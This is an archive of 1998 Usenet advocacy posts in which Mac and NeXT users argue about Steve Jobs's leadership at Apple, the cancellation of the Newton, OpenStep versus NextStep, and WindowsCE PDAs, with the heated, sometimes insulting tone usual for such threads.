users. But I see your point, I think. In that the earlier betas
(post alphas) should not go to a wide beta release. Only the later
betas when reducing bugginess becomes more of a focus would it make
sense.
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy
Subject: Re: IMPEACH JOBS
Date: Sun, 19 Apr 1998 19:01:12 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <353A9047.BD0C1EAE@milestonerdl.com>
References: <01bd6b25$321d87c0$25f0bfa8@davidsul> <6hbob0$5g8@mozo.cc.purdue.edu> <B15FF7D3966859F61@host-207-205-112-97.bct.bellsouth.net> <joe.ragosta-1904981929240001@elk50.dol.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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Joe Ragosta wrote:
> In article <B15FF7D3966859F61@host-207-205-112-97.bct.bellsouth.net>,
> spambait@seemysig.com (Mike Cohen) wrote:
>
> > In article <6hbob0$5g8@mozo.cc.purdue.edu>,
> > pomart@cartoon.ecn.purdue.edu (Your Name) wrote:
> >
> > | >We have all heard about all of Jobs pecadillos, about how he screwed THe
> > | >Woz out of $200, about how he cusses people out, and quite frankly its
> > time
> > | >to get rid of Jobs. He simply LACKS INTEGRITY. You youngins simply
> > dont
> > | >value INTEGRITY Like you should!
> > |
> > | Shut up! Jobs is doing fine, could have done better, yes, but he's
> > | doing all right.
> >
> > Killing the newton alone is enough reason to get rid of him. The Newton
> > didn't deserve to die.
>
> I might believe this--if anyone could show that the Newton had ever made
> money or had any chance of making money.
The claim is in December 1997, one of the only groups to post an operating profit
was the Newton group.... according to 'a source' I talked with. Myself and
others are actually trying to get this nailed down as truth or rumor.
The Newton was killed by Steve Jobs, CEO of cartoon maker Pixar, because of
simple spite.
> I agree that the Newton was a nice device. I'd still like to have one.
It's interesting. The new, unsold market is at $900+, and the used market is
$700. Before the cancellation, the prices were $799 and $500. How do YOU
explain a computing product where the prices have went up? And after a product
is ORPHANED by its maker?
> But Apple is not a charity. Newton was not making money and there was no
> sign that it ever would.
Well Joe, if Apple is not a charity, then why are you happy to have allowed the
Mac to leach off the Apple ][ lines profits all them years?
And how do you know if the Newton made a profit or not?
> The entry of Windows CE devices was going to make
> Newton's future even tougher than its past.
And a MacOS based portable is better than the Newton HOW WRT WinCE compeition?
From: forrestDELETE-THIS!@west.net (Forrest Cameranesi)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy
Subject: Re: IMPEACH JOBS
Date: Sun, 19 Apr 1998 18:08:11 -0700
Organization: "The Company" (Formerly Known As Obsidian)
Message-ID: <forrestDELETE-THIS!-1904981808120001@term1-12.vta.west.net>
References: <01bd6b25$321d87c0$25f0bfa8@davidsul> <6hbob0$5g8@mozo.cc.purdue.edu> <B15FF7D3966859F61@host-207-205-112-97.bct.bellsouth.net>
In article <B15FF7D3966859F61@host-207-205-112-97.bct.bellsouth.net>,
spambait@seemysig.com (Mike Cohen) wrote:
> Killing the newton alone is enough reason to get rid of him. The Newton
> didn't deserve to die.
Agreed, partially. It didn't deserve to die the way it did. It should have
been slowly transitioned to the same unified API that MacOS and Rhapsody
are migrating toward (the Cyan project). Instead they dropped it like a
rock and made vauge references to a "MacOS-based Emate-like device". What
"MacOS" means now is in itself vauge, as Rhapsody has been referred to
"MacOS Enterprise", and as far as we know the entire future of Apple
operating systems may be called "MacOS" (I hope not). Or does it just mean
the current Macintosh Operating System 7.x/8.x?
-Forrest Cameranesi
Owner of The Universe, seeking employees for "Ruler" and "Master" positions. Apply at front desk. All prices subject to change. Universe, the Universe logo, and all objects contained within are (TM) and (C) Everything Unlimited, a wholly owned subsidary of Cameranesi Enterprises. Remember:
"We know what you want. We know what you need. We know where you live."
From: Kenneth R. Kinder <Ken@_$spamless$_KenAndTed.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 20 Apr 1998 02:04:50 GMT
Organization: Dimensional Communications
Sender: Kinder Robert <kinders@flatland.dimensional.com>
Message-ID: <6heag2$18l$1@quasar.dimensional.com>
References: <6b51f7$j67$6@ironhorse.plsys.co.uk> <slrn6f7cgk.lhl.sal@panix3.panix.com> <34F40BA0.716A@remove.muenchen.this.org.junk> <6d1e5c$bno$1@bignews.shef.ac.uk> <6devrh$ra1$5@quasar.dimensional.com> <6df800$fn6$29@ironhorse.plsys.co.uk> <6dfpj6$3o0$5@quasar.dimensional.com> <slrn6fn6au.cnk.sal@panix3.panix.com> <6gumlt$4m9$1@quasar.dimensional.com> <slrn6jdmtr.3u2.sal@panix3.panix.com> <6h8g9l$48$1@quasar.dimensional.com> <6hajer$57p$4@ironhorse.plsys.co.uk>
User-Agent: tin/pre-1.4-980105 (UNIX) (SunOS/4.1.4 (sun4m))
In comp.os.linux.advocacy , article <6hajer$57p$4@ironhorse.plsys.co.uk> , mmalcolm crawford <malcolm@plsys.co.uk> wrote:
>> Well, OpenStep is not in question. NextStep is.
> What on earth has NEXTSTEP to do with this?!
Keep up on threads, don't you. If you can't figure out what NextStep has to
do with NextStep and GNUStep relations, you're more hopeless than I ever
thought.
--
H3C-N--C=N | Kenneth R. Kinder, aka Bouncing "code=caffiene*hours"
\==/ | Ken@KenAndTed.com http://www.KenAndTed.com/KensBookmark/
O=<__>N-C3H |
H3C-N \\O | Ken & Ted's Software
_________________| http://www.KenAndTed.com/ Software@KenAndTed.com
From: sgant@removethis.interaccess.com (Scott Gant)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy
Subject: Re: IMPEACH JOBS
Date: Sun, 19 Apr 1998 21:24:08 -0500
Organization: InterAccess Co., Chicago's Full Service Internet Provider
Message-ID: <sgant-1904982124080001@d212.nhe.interaccess.com>
References: <01bd6b25$321d87c0$25f0bfa8@davidsul> <6hbob0$5g8@mozo.cc.purdue.edu> <hi-2908560507090001@1cust23.tnt8.krk1.da.uu.net>
Impeach Jobs? Are you nuts? He's the only thing keeping Apple going.
I don't care how he acts. I don't care if he lacks integrity. Hell, he
could be out screwing squirrels for all I care. He's getting the job done
and making a profit.
He cancelled the Newton? So. Of all the people I know only one person has
a Newton....me. The Newton was hardly setting the world on fire if you ask
me. You say you were a Newton developer? Develop on something else and
QUIT WHINNING!
Yeah, he's kicking ass over at Apple. He's doing it in an unfair manner?
So. Apple employees needed to get their asses kicked.
He screwed Woz out of $200? I'm sure Woz isn't hurting for cash right now.
He cusses people out? GOOD! Sounds like he's kicking butt. Look, the
gloves are off. It's going to take someone strong to turn Apple around.
Yes, you have to be an asshole sometimes to get results. Seems to be
working.
So yeah, let's get rid of someone who helped the company to have two good
quarters in a row...something that hasn't happend in a LONG time. Let's
get rid of someone who has a plan...a goal...a roadmap. Instead of someone
who wants the company going off in 18 different directions....all pretty
much leading no where.
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <35380bed.0@news.codenet.net>
Control: cancel <35380bed.0@news.codenet.net>
Date: 19 Apr 1998 03:13:17 GMT
Organization: BOFH Space Command, Usenet Division
Message-ID: <cancel.35380bed.0@news.codenet.net>
Sender: HOT XXXXXX
Article cancelled as EMP/ECP, exceeding a BI of 20.
The "Current Usenet spam thresholds and guidelines" FAQ is available at
http://www.uiuc.edu/ph/www/tskirvin/faqs/spam.html
Please include the X-CosmoTraq header of this message in any correspondence
specific to this spam.
Sick-O-Spam, Spam-B-Gon!
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy
Subject: Re: KEEP JOBS
Date: Sun, 19 Apr 1998 20:50:08 +0100
Organization: EarthLink Network, Inc.
Message-ID: <353A5535.7C49@earthlink.net>
References: <01bd6b25$321d87c0$25f0bfa8@davidsul> <6hbqcf$c7b$1@ha2.rdc1.sdca.home.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Great new OS coming out soon, fastest machines, lower prices (but still
need for improvement here), 2 profitable quarters, advertising that has
caught some attention, and Quicktime 3.0.
I say keep Jobs!
Steve
From: float@interport.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Date: 20 Apr 1998 01:42:17 -0400
Organization: Interport Communications Corp.
Message-ID: <6hen7p$p55$1@interport.net>
References: <slrn6jc21u.9i.jason@jhste1.dyn.ml.org> <B15BB1DE-33E9B@206.165.43.169> <35366814.4513@CONVEX.COM> <slrn6jcsa9.lbp.sal@panix3.panix.com>
Salvatore Denaro (sal@panix3.panix.com) wrote:
: XEmacs? Isn't that a lisp processor with a built-in web browser and other
: distracting features that kind of lets you use your command-line tools, but
: requires that you be running a local X session?
From the xemacs man page:
-nw Inhibit the use of any window-system-specific dis-
play code: use the current TTY.
This causes xemacs to look like classic emacs. Incidentally, GNU emacs
takes this argument too, since it will use X if it detects it.
--
Ben
<Just Another System Administrator>
From: float@interport.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: I try to tell you people...
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Date: 20 Apr 1998 01:50:40 -0400
Organization: Interport Communications Corp.
Message-ID: <6henng$pdv$1@interport.net>
References: <MPG.f9ed5b0eb5d89c29896eb@news.itg.ti.com> <01bd68f3$0ee25ee0$41f0bfa8@davidsul> <6h3tmu$dpg$1@news.digifix.com> <01bd6927$5321b180$24f0bfa8@davidsul>
NeXT Newbie (macghod@concentric.net) wrote:
: Yay, rhapsody is out with its great support for
: multi-processors. Oops, but their is no photoshop :P
: That would not be good. But doesnt adobe already have most of their
: products out for unix?
I have heard that Photoshop runs on Solaris.
--
Ben
<Just Another System Administrator>
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy
Subject: Re: KEEP JOBS
Date: 20 Apr 1998 00:26:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B16047C4-53E31@206.165.43.179>
References: <don_arb-1904982240580001@sea-ts2-p64.wolfenet.com>
nntp://news.primenet.com/comp.sys.mac.oop.powerplant,
nntp://news.primenet.com/comp.sys.mac.programmer.codewarrior,
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Don Arbow <don_arb@wolfenet.com> said:
>
> Don't forget stock at or near a 52 week high, doubled within a year...
>
Don't forget that we no longer have future development on 2 of the top 5
productivity apps for the Mac: QUicken.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
References: <6b51f7$j67$6@ironhorse.plsys.co.uk> <slrn6f7cgk.lhl.sal@panix3.panix.com> <34F40BA0.716A@remove.muenchen.this.org.junk> <6d1e5c$bno$1@bignews.shef.ac.uk> <6devrh$ra1$5@quasar.dimensional.com> <6df800$fn6$29@ironhorse.plsys.co.uk> <6dfpj6$3o0$5@quasar.dimensional.com> <slrn6fn6au.cnk.sal@panix3.panix.com> <6gumlt$4m9$1@quasar.dimensional.com> <slrn6jdmtr.3u2.sal@panix3.panix.com> <6h8g9l$48$1@quasar.dimensional.com> <6hajer$57p$4@ironhorse.plsys.co.uk> <6heag2$18l$1@quasar.dimensional.com>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <353ad462.0@206.25.228.5>
Date: 20 Apr 98 04:51:46 GMT
Kenneth R. Kinder <Ken@_$spamless$_KenAndTed.com> wrote:
> In comp.os.linux.advocacy , article <6hajer$57p$4@ironhorse.plsys.co.uk>
> , mmalcolm crawford <malcolm@plsys.co.uk> wrote:
> >> Well, OpenStep is not in question. NextStep is.
> > What on earth has NEXTSTEP to do with this?!
> Keep up on threads, don't you. If you can't figure out what
> NextStep has to do with NextStep and GNUStep relations, you're
> more hopeless than I ever thought.
This is just such a beautiful display. :) I'm just relishing it.
:) Shhh, no body say anything. Let's see how long this will go
on. :))))
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy
Subject: Re: IMPEACH JOBS
Followup-To: comp.sys.next.advocacy,comp.sys.mac.advocacy
Date: 20 Apr 1998 04:46:49 GMT
Organization: Digital Fix Development
Message-ID: <6hejvp$e1u$1@news.digifix.com>
References: <01bd6b25$321d87c0$25f0bfa8@davidsul>
In-Reply-To: <01bd6b25$321d87c0$25f0bfa8@davidsul>
On 04/18/98, "NeXT Newbie" wrote:
>We have all heard about all of Jobs pecadillos, about how he screwed
THe
>Woz out of $200, about how he cusses people out, and quite frankly
its time
>to get rid of Jobs. He simply LACKS INTEGRITY. You youngins simply
dont
>value INTEGRITY Like you should!
>
>:)
This is laughable, especially the considering the source(s).
Its safe to guess that your 'source' for this is Amelio's book.
Gil's Accuracy
Woz already commented on the accuracy of Amelio's take. He
got the dollars wrong, AND he got Woz's feelings about Steve wrong
(read the article on CNet shortly after the initial quotes from the
book were released to the press..)
Gil's Integrity
Yeah, lets not forget that the ENTIRE BOOK is a violation of
any confidentiality agreements that his employment with Apple would
have had.
That speaks of integrity right there.. He has none.
Amelio screwed Apple out of thousands and thousands of dollars
with his severance 'package'. He then sold his confidentiality
agreements out for this book.
The fact that you accuse Jobs of being bad because he's
'cusses' is hypocritical of you. You're the same individual who not
more than two months ago publically slandered myself, Kris Magnusson
and others who contribute to Stepwise (accused us of performing
fellatio on Mr. Jobs) because of an article we ran. You claimed
(after the fact) that it was to "make a point". That was BS then, and
its BS now.
Can Jobs be a difficult person to work with/for? Definately.
Is he making a difference? Yes. The only folks who can get rid of
him are the shareholders. As a shareholder, I voted for him on my
proxy ballot, BECAUSE he's making a difference.
He has, without any doubt, accomplished a hell of a lot in his
lifetime that has affected all of us.
Can you say the same?
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: stwillis@ews.uiuc.edu (willis sean timothy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: AM/etc requirements for Yellow Box apps (Was Re: Mac
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Date: 20 Apr 1998 07:13:52 GMT
Organization: University of Illinois at Urbana-Champaign
Message-ID: <6hesjg$g95$1@vixen.cso.uiuc.edu>
References: <1d7qd81.11sv8y81oi2sytN@cetus206.wco.com> <B15FC8BD-F007D@206.165.43.146>
Lawson English (english@primenet.com) wrote:
: Thanks for the response and clarification. Here is what Carmack said about
: the Quake editor. Apparently I misunderstood?
*********************************************************************
This is a dump of the current source code for QuakeEd, our map editing
application.
This does not include everything necessary to build maps. There are
graphics files, prog files, and other utilities needed. I plan on
releasing a full development set of tools after the game ships. This is
just intended to help out anyone working on their own map editor.
I never had the time to properly optimize QuakeEd.
The texture view rendering code in here is crap. Anyone coding a new
editor is strongly advised to just use an available optimized library,
like open GL or direct 3D.
John Carmack
Id Software
johnc@idsoftware.com
**********************************************************************
Apparently you did.
Keep Trying, Lawson. Or better yet, don't.
sean
--
Sean Willis : stwillis@uiuc.edu
Aero/ Astro Engineering : http://www.uiuc.edu/ph/www/stwillis
University of Illinois @ Urbana : "When my hand slipped, she looked at
U.S. Presidential Candidate, 2012 : me, and she sang this song...."
-The Dirty Dozen
From: Binky <binky@london.virgin.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy
Subject: Re: IMPEACH JOBS
Date: Mon, 20 Apr 1998 10:36:43 +0100
Organization: Virgin Net
Message-ID: <353B172A.2761@london.virgin.net>
References: <01bd6b25$321d87c0$25f0bfa8@davidsul> <6hbob0$5g8@mozo.cc.purdue.edu> <hi-2908560507090001@1cust23.tnt8.krk1.da.uu.net>
Mime-Version: 1.0
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>BRING NEWTON DEVS INTO THE FOLD AS WELL!
what is it with the bloody newton? it was a total donut of a product.
it may have been a cool techy thing but as a consumer product it sucked
and this was made plainly obvious by the Pilot. Newton was killed
because it was a liability. If the Newton was any good it would have
made money and would have been a success and would not have been axed.
Axing the Newton was a damned good idea. The decision should have been
made years ago.
>get rid of Jobs. He simply LACKS INTEGRITY
since when did integrity make good business sense? does bill gates
strike you as a bastion of integrity?
>Newton was killed by Steve Jobs [...] because of simple spite
crap. grow up.
b
--
======================================================================
Toby Doig ("Binky") binky@london.virgin.net
Macintosh Software Engineer http://webcam.paperjet.com/
Virgin Net, London, UK
======================================================================
WebCamTURBO
Serving live video from your desktop
======================================================================
From: don_arb@wolfenet.com (Don Arbow)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy
Subject: Re: KEEP JOBS
Date: Sun, 19 Apr 1998 22:40:58 -0700
Organization: EveryDay Objects, Inc.
Message-ID: <don_arb-1904982240580001@sea-ts2-p64.wolfenet.com>
References: <01bd6b25$321d87c0$25f0bfa8@davidsul> <6hbqcf$c7b$1@ha2.rdc1.sdca.home.com> <353A5535.7C49@earthlink.net>
In article <353A5535.7C49@earthlink.net>, skellener@earthlink.net wrote:
: Great new OS coming out soon, fastest machines, lower prices (but still
: need for improvement here), 2 profitable quarters, advertising that has
: caught some attention, and Quicktime 3.0.
:
: I say keep Jobs!
:
:
: Steve
Don't forget stock at or near a 52 week high, doubled within a year...
Don
--
Don Arbow, Partner, CTO
EveryDay Objects, Inc.
don_arb@wolfenet.com <-- remove underscore to reply
http://www.edo-inc.com
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: PostScript coming to the Web?
Date: 20 Apr 1998 09:38:05 GMT
Organization: P & L Systems
Message-ID: <6hf51t$57p$8@ironhorse.plsys.co.uk>
References: <6hdh0d$234$1@blackice.winternet.com> <B15FB5B6-A8804@206.165.43.146>
Mime-Version: 1.0
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Cc: english@primenet.com
In <B15FB5B6-A8804@206.165.43.146> "Lawson English" wrote:
> Far more cool than my idea of using GX for the same purpose...
>
Absolutely. It's got the weight of W3C and a couple of big companies behind
it so stands a reasonable chance of coming into being, and it ties in very
well with Apple's future OS strategy, both of which points GX doesn't have in
its favour.
I'd guess OmniWeb could easily be the first browser to support this, and that
it would take comparatively little effort to extend the app to do so.
Why do I get the feeling Lawson hasn't bothered to read the specs, since they
address many of the points he's been whining about for the past year and
almost a bloody half.
mmalc.
Date: Mon, 20 Apr 1998 06:36:33 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy
Subject: Re: IMPEACH JOBS
Message-ID: <joe.ragosta-2004980636330001@elk52.dol.net>
References: <01bd6b25$321d87c0$25f0bfa8@davidsul> <6hbob0$5g8@mozo.cc.purdue.edu> <B15FF7D3966859F61@host-207-205-112-97.bct.bellsouth.net> <joe.ragosta-1904981929240001@elk50.dol.net> <353A9047.BD0C1EAE@milestonerdl.com>
In article <353A9047.BD0C1EAE@milestonerdl.com>, mark@milestonerdl.com wrote:
> Joe Ragosta wrote:
>
> > In article <B15FF7D3966859F61@host-207-205-112-97.bct.bellsouth.net>,
> > spambait@seemysig.com (Mike Cohen) wrote:
> >
> > > Killing the newton alone is enough reason to get rid of him. The Newton
> > > didn't deserve to die.
> >
> > I might believe this--if anyone could show that the Newton had ever made
> > money or had any chance of making money.
>
> The claim is in December 1997, one of the only groups to post an
operating profit
> was the Newton group.... according to 'a source' I talked with. Myself and
> others are actually trying to get this nailed down as truth or rumor.
Really? You've had months and have never produced a shred of evidence.
("sources" don't count unless you can name them and provide some real
facts).
>
> The Newton was killed by Steve Jobs, CEO of cartoon maker Pixar, because of
> simple spite.
Apple stated that Newton had never made money. I suspect that they have
better knowledge of the matter than you do.
When you find some facts, feel free to post them. Until then, Apple's
statements have to stand.
>
> > But Apple is not a charity. Newton was not making money and there was no
> > sign that it ever would.
>
> Well Joe, if Apple is not a charity, then why are you happy to have
allowed the
> Mac to leach off the Apple ][ lines profits all them years?
What kind of nonsense is this? Apple introduced a new product (the Mac).
Both the Mac and the Apple II were profitable. No leaching involved.
Even during the development stage when the Mac wasn't making money, your
point is irrelevant. The Mac was the _replacement_ for the Apple II
because the Apple II was approaching the end of its lifecycle.
The Newton was a product with out a place or without a future.
>
> And how do you know if the Newton made a profit or not?
I rely on Apple's statements--not unnamed "sources".
>
> > The entry of Windows CE devices was going to make
> > Newton's future even tougher than its past.
>
> And a MacOS based portable is better than the Newton HOW WRT WinCE compeition?
Several things--mostly related to marketing. WinCE is convincing people
that you don't need a different OS on your PDA. Whether this claim is
nonsense or not is beside the point. People are starting to expect their
PDA screen to look just like their computer screen.
There are probably some advantages in software availability and data
translation, as well.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 20 Apr 1998 10:26:23 GMT
Organization: P & L Systems
Message-ID: <6hf7sf$57p$9@ironhorse.plsys.co.uk>
References: <199801202218001457904@ppp8.hol.fr> <34CF6517.1B6E@nstar.net>
<6bfhf2$ad2$1@ns3.vrx.net> <adtEnzKxA.3Ar@netcom.com>
<slrn6e47bo.75j.jstevens@samoyed.ftc.nrcs.usda.gov> <adtEo8tD0.E96@netcom.com>
<6cfpv7$m7j$4@quasar.dimensional.com> <34EC33CE.2CC99899@markelcorp.com>
<forrestDELETE-THIS!-2302982253030001@term4-25.vta.west.net> <6g90l8$3cl$3@quasar.dimensional.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: Ken@_$spamless$_KenAndTed.com
In <6g90l8$3cl$3@quasar.dimensional.com> Kenneth R. Kinder wrote:
> Take note that GNUStep and NextStep would have a GUI with the same
> architecture...
>
No they wouldn't. NextStep != OPENSTEP.
mmalc.
From: Nat Tate <nat.tate@innocent.com>
Newsgroups: comp.unix.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.os.linux.advocacy
Subject: Re: NT 5.0 - how big really? [was Re: Lies Upon Lies ..]
Date: Fri, 17 Apr 1998 17:11:44 +0100
Organization: Gotham Museum of Modern Art
Message-ID: <35377F3F.847FFFDD@innocent.com>
References: <34F08396.D7D29378@spamtoNull.com> <6emco9$dts$1@news.cs.tu-berlin.de> <350EC2E0.2517@be1151.pd3.ford.com> <6eot72$qhu$1@news.cs.tu-berlin.de> <50dQ.108$rZ.455277@newsgate.direct.ca>
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Kaz Kylheku wrote:
> In article <6eot72$qhu$1@news.cs.tu-berlin.de>,
> Marcel Weiher <marcel@cs.tu-berlin.de> wrote:
> >Aaron R Kulkis <akulkis@be1151.pd3.ford.com> writes:
> >>> Could it be that the giant is slowly being caught in its own products?
> >
> >
> >>This is what happens when you get hire bunches of numb-nuts
> >>programmers.,..
> >
> >Well, the person in charge of the modularization effort was said
> >to be very, very smart. Didn't help him much, though.
>
> He was probably referring to the original developers.
My golfing buddy tells me he's playing a lot of rounds with Dave Cutler these
days. He asked the Big C if he shouldn't be working on NT 5.0, Cutler replied
"no worries, IFV", allegedly.
Nat
---
Austin.Powers@bigfoot.com
Date: Mon, 20 Apr 1998 06:39:39 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy
Subject: Re: KEEP JOBS
Message-ID: <joe.ragosta-2004980639400001@elk52.dol.net>
References: <don_arb-1904982240580001@sea-ts2-p64.wolfenet.com> <B16047C4-53E31@206.165.43.179>
In article <B16047C4-53E31@206.165.43.179>, "Lawson English"
<english@primenet.com> wrote:
> Don Arbow <don_arb@wolfenet.com> said:
>
> >
> > Don't forget stock at or near a 52 week high, doubled within a year...
> >
>
>
>
> Don't forget that we no longer have future development on 2 of the top 5
> productivity apps for the Mac: QUicken.
Hmmm. Quicken suddenly became _TWO_ applications?
Good argument against QD GX--it makes you lose your ability to count.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: IMPEACH JOBS
Date: Mon, 20 Apr 1998 05:48:51 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <353B2813.27582807@milestonerdl.com>
References: <01bd6b25$321d87c0$25f0bfa8@davidsul> <6hejvp$e1u$1@news.digifix.com>
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Scott Anguish wrote:
> On 04/18/98, "NeXT Newbie" wrote:
> >We have all heard about all of Jobs pecadillos, about how he screwed
> THe
> >Woz out of $200, about how he cusses people out, and quite frankly
> its time
> >to get rid of Jobs. He simply LACKS INTEGRITY. You youngins simply
> Gil's Accuracy
>
> Woz already commented on the accuracy of Amelio's take. He
> got the dollars wrong,
But what was widely reported was that he WAS shorted cash and lied to was
confirmed. And Woz was enuf of a man to still be OK with Steve.
> Gil's Integrity
>
> Yeah, lets not forget that the ENTIRE BOOK is a violation of
> any confidentiality agreements that his employment with Apple would
> have had.
The ENTIRE book?
> That speaks of integrity right there.. He has none.
I'll take a reported excerpt here....
After the firing of Gil, Steve Jobs was one of the first people calling
with condolances. Given the widely reported "Steve Jobs slammed Gil every
chance he got", one has to ask, if Steve Jobs the CEO of cartoon maker
Pixar was knifing Gil, was it not in poor taste to call and offer
condolances?
> Can you say the same?
Hint: Most ppl who run multi-billon dollor companies don't read netnews.
And odds are don't read groups like this. So, why are your asking this
question?
You know, the same kind of arguments are used when defending Bill Gates.
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: I try to tell you people...
Date: Mon, 20 Apr 1998 05:58:56 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <353B2A70.28DEFEA6@milestonerdl.com>
References: <MPG.f9ed5b0eb5d89c29896eb@news.itg.ti.com> <01bd68f3$0ee25ee0$41f0bfa8@davidsul> <6h3tmu$dpg$1@news.digifix.com> <01bd6927$5321b180$24f0bfa8@davidsul> <6henng$pdv$1@interport.net>
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float@interport.net wrote:
> NeXT Newbie (macghod@concentric.net) wrote:
> : Yay, rhapsody is out with its great support for
> : multi-processors. Oops, but their is no photoshop :P
> : That would not be good. But doesnt adobe already have most of their
> : products out for unix?
> I have heard that Photoshop runs on Solaris.
But the problem is allmost all the smaller apps (plug ins) for Photoshop
are Mac based. The makers of such plug-ins will move to PC before Unix.
From: suckow@*remove_this_to_e-mail_me*bln.sel.alcatel.de (Ralf Suckow)
Newsgroups: comp.sys.next.advocacy
Subject: WinCE vs. special OS for PDAs (Was: Re: IMPEACH JOBS)
Date: 20 Apr 1998 12:47:19 GMT
Organization: Alcatel/Bell
Distribution: world
Message-ID: <6hfg4n$6vu@btmpjg.god.bel.alcatel.be>
References: <joe.ragosta-2004980636330001@elk52.dol.net>
Joe Ragosta writes
> In article <353A9047.BD0C1EAE@milestonerdl.com>, mark@milestonerdl.com wrote:
> > And a MacOS based portable is better than the Newton HOW WRT WinCE
compeition?
>
> Several things--mostly related to marketing. WinCE is convincing people
> that you don't need a different OS on your PDA. Whether this claim is
> nonsense or not is beside the point. People are starting to expect their
> PDA screen to look just like their computer screen.
>
> There are probably some advantages in software availability and data
> translation, as well.
>
No, there are none. No Windows application runs on Windows CE.
It is like if you put a posix library on Amiga-OS and call it Unix.
WindowsCE PDAs (with the Win GUI incl. a keyboard) are a big waste
of CPU, memory, display space, and energy. It'll be the same as with
Windows - people will buy the hardware because it has a 80MHz CPU
instead of 16MHz, 8 MBytes of RAM instead of 1MByte and a 320x256
screen instead of 160x160, and THEY WILL NOT RECOGNIZE that the
machine is slower, the apps in RAM have less functions, they can
store less information, and they can see less information on the
screen than with OSs designed for PDAs, like PalmOS.
Why do you think they will not recognize it? Because they will not
know the alternative systems. People's natural ignorance is the main
reason of natural monopolies ;-)
The only thing they will probably recognize is that their PDAs
batteries will quit after 2-4 Hours of work compared to tens of
hours for traditional PDAs (I'm replacing batteries once a year
in my Casio SF4600B). So there is still hope they will keep
buying notebooks and WindowsCE will fail (again).
(Just my $.02)
Yours,
--
Ralf.Suckow ------------------------
